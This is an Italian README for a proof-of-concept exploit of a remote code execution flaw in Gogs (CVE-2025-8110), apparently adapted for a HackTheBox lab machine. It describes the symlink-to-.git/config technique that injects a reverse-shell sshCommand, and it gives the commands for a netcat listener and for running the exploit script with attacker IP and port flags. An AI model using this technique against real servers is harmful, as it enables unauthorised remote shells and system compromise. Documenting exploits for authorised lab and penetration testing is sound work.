
Exploit del servizio Gogs e ottenimento dell'utente root
Disclaimer: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo solo contro sistemi per i quali hai esplicita autorizzazione a testare.
Questa è una versione modificata di zAbuQasem/gogs-CVE-2025-8110, adattata per funzionare contro la macchina Silentium su HackTheBox. Il PoC originale richiedeva modifiche per gestire la configurazione specifica di Gogs e il flusso di autenticazione di Silentium.
CVE-2025-8110 è una vulnerabilità di esecuzione di codice in remoto in Gogs, un servizio Git self-hosted.
L'endpoint API di aggiornamento file di Gogs (PUT /api/v1/repos/.../contents/<file>) non valida se il file di destinazione è un symlink. Un attaccante autenticato può inviare un symlink in un repository che punta a .git/config, quindi usare l'API per sovrascriverlo con un payload malevolo. Il payload inietta un sshCommand personalizzato nella configurazione git, che Gogs esegue lato server alla successiva operazione SSH su quel repository, con conseguente esecuzione di codice in remoto.
malicious_link -> .git/config) e lo invia..git/config malevolo che contiene sshCommand = <reverse shell>..git/config, attivando la shell alla successiva operazione SSH.Installa le dipendenze:
pip install -r requirements.txt
Avvia un listener:
nc -lvnp <PORT>
Esegui l'exploit:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
Opzionale — instrada tramite Burp Suite:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| Flag | Descrizione |
|---|---|
-u | URL base di Gogs |
-lh | Il tuo IP di attaccante (host della reverse shell) |
-lp | La porta del tuo listener |
-un | Il tuo username Gogs registrato |
-pw | La tua password Gogs |
-x | (Opzionale) Instrada il traffico tramite Burp su localhost:8080 |